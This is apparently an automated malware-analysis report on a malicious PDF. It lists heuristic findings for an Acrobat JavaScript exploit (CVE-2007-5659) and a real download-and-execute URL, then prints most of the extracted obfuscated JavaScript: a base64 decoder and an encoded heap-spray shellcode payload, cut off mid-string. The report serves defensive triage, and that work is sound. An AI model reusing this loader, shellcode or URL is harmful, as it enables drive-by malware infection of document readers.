MALICIOUS
258
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, indicated by multiple heuristic firings related to PDF and JavaScript. The JavaScript stream, named 'javascript_obj0002_000.js', is large and shows signs of obfuscation. The primary purpose appears to be the execution of this script, likely to download and execute a second-stage payload.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 8
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
output = output + String.fromCharCode(chr1); -
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://curah.net/3/getexe.php?spl=pdf_exp Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0002_000.js |
pdf-javascript-stream | PDF /JS object 2 at offset 0x67 | 20465 bytes |
SHA-256: c0c52e8644afccb5a6a852a5edf2f9fe413b15444e21a5862ffb6f5a91facd4d |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
do {
enc1 = keyXXXStr.indexOf(input.charAt(i++));
enc2 = keyXXXStr.indexOf(input.charAt(i++));
enc3 = keyXXXStr.indexOf(input.charAt(i++));
enc4 = keyXXXStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
} while (i < input.length);
return output;
}
var aasd = decode64("DQogdmFyIEF3NjhJVjVIID0gbmV3IEFycmF5KCk7DQogdmFyIHVaZkJMMUZVOw0KIHZhciBsYXZlID0gZXZhbDsNCiAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTY4JTQ5JTUyJTU4JTc1JTQyJTU4JTRkJTI4JTY5JTRjJTcxJTU5JTM3JTY5JTZjJTUwJTJjJTIwJTRhJTcyJTU4JTc4JTRlJTYzJTQ1JTRlJTI5JTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTY5JTRjJTcxJTU5JTM3JTY5JTZjJTUwJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTIwJTNjJTIwJTRhJTcyJTU4JTc4JTRlJTYzJTQ1JTRlJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTRjJTcxJTU5JTM3JTY5JTZjJTUwJTIwJTJiJTNkJTIwJTY5JTRjJTcxJTU5JTM3JTY5JTZjJTUwJTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTY5JTRjJTcxJTU5JTM3JTY5JTZjJTUwJTIwJTNkJTIwJTY5JTRjJTcxJTU5JTM3JTY5JTZjJTUwJTJlJTczJTc1JTYyJTczJTc0JTcyJTY5JTZlJTY3JTI4JTMwJTJjJTIwJTRhJTcyJTU4JTc4JTRlJTYzJTQ1JTRlJTIwJTJmJTIwJTMyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTcyJTY1JTc0JTc1JTcyJTZlJTIwJTY5JTRjJTcxJTU5JTM3JTY5JTZjJTUwJTNiJTIwJTIwJTIwJTdkJTIwJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTQ2JTc0JTVhJTU4JTc1JTcwJTMyJTZlJTI4JTRjJTU0JTRjJTMyJTY2JTczJTRmJTRhJTI5JTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTRjJTU0JTRjJTMyJTY2JTczJTRmJTRhJTIwJTNkJTNkJTIwJTMwJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTVhJTQ2JTcyJTRiJTc4JTY0JTZhJTYzJTIwJTNkJTIwJTMwJTc4JTMwJTYzJTMwJTYzJTMwJTYzJTMwJTYzJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTZiJTQ4JTVhJTcyJTc0JTZlJTQ2JTM2JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM2JTMzJTMyJTQ2JTI1JTc1JTM3JTMyJTM3JTM1JTI1JTc1JTM2JTM4JTM2JTMxJTI1JTc1JTM2JTQ1JTMyJTQ1JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTMzJTMzJTMyJTQ2JTI1JTc1JTM2JTM3JTMyJTQ2JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM2JTM4JTM3JTMwJTI1JTc1JTMzJTQ2JTM3JTMwJTI1JTc1JTM3JTMwJTM3JTMzJTI1JTc1JTMzJTQ0JTM2JTQzJTI1JTc1JTM2JTM0JTM3JTMwJTI1JTc1JTM1JTQ2JTM2JTM2JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMwJTMwJTM3JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTRjJTU0JTRjJTMyJTY2JTczJTRmJTRhJTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVhJTQ2JTcyJTRiJTc4JTY0JTZhJTYzJTIwJTNkJTIwJTMwJTc4JTMzJTMwJTMzJTMwJTMzJTMwJTMzJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTZiJTQ4JTVhJTcyJTc0JTZlJTQ2JTM2JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM2JTMzJTMyJTQ2JTI1JTc1JTM3JTMyJTM3JTM1JTI1JTc1JTM2JTM4JTM2JTMxJTI1JTc1JTM2JTQ1JTMyJTQ1JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTMzJTMzJTMyJTQ2JTI1JTc1JTM2JTM3JTMyJTQ2JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM2JTM4JTM3JTMwJTI1JTc1JTMzJTQ2JTM3JTMwJTI1JTc1JTM3JTMwJTM3JTMzJTI1JTc1JTMzJTQ0JTM2JTQzJTI1JTc1JTM2JTM0JTM3JTMwJTI1JTc1JTM1JTQ2JTM2JTM2JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMwJTMwJTM3JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTRjJTU0JTRjJTMyJTY2JTczJTRmJTRhJTIwJTNkJTNkJTIwJTMyJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTZiJTQ4JTVhJTcyJTc0JTZlJTQ2JTM2JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM2JTMzJTMyJTQ2JTI1JTc1JTM3JTMyJTM3JTM1JTI1JTc1JTM2JTM4JTM2JTMxJTI1JTc1JTM2JTQ1JTMyJTQ1JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTMzJTMzJTMyJTQ2JTI1JTc1JTM2JTM3JTMyJTQ2JTI1JTc1JTM3JTM0JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM2JTM4JTM3JTMwJTI1JTc1JTMzJTQ2JTM3JTMwJTI1JTc1JTM3JTMwJTM3JTMzJTI1JTc1JTMzJTQ0JTM2JTQzJTI1JTc1JTM2JTM0JTM3JTMwJTI1JTc1JTM1JTQ2JTM2JTM2JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTMwJTMwJTM3JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ3JTZmJTYzJTYyJTY0JTY1JTRmJTZiJTIwJTNkJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTMwJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU2JTZiJTZkJTZlJTYzJTQyJTM3JTcxJTIwJTNkJTIwJTZiJTQ4JTVhJTcyJTc0JTZlJTQ2JTM2JTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRhJTcyJTU4JTc4JTRlJTYzJTQ1JTRlJTIwJTNkJTIwJTQ3JTZmJTYzJTYyJTY0JTY1JTRmJTZiJTIwJTJkJTIwJTI4JTU2JTZiJTZkJTZlJTYzJTQyJTM3JTcxJTIwJTJiJTIwJTMwJTc4JTMzJTM4JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTY5JTRjJTcxJTU5JTM3JTY5JTZjJTUwJTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTM5JTMwJTM5JTMwJTI1JTc1JTM5JTMwJTM5JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTY5JTRjJTcxJTU5JTM3JTY5JTZjJTUwJTIwJTNkJTIwJTY4JTQ5JTUyJTU4JTc1JTQyJTU4JTRkJTI4JTY5JTRjJTcxJTU5JTM3JTY5JTZjJTUwJTJjJTIwJTRhJTcyJTU4JTc4JTRlJTYzJTQ1JTRlJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRiJTc4JTQyJTRlJTYxJTc2JTdhJTM2JTI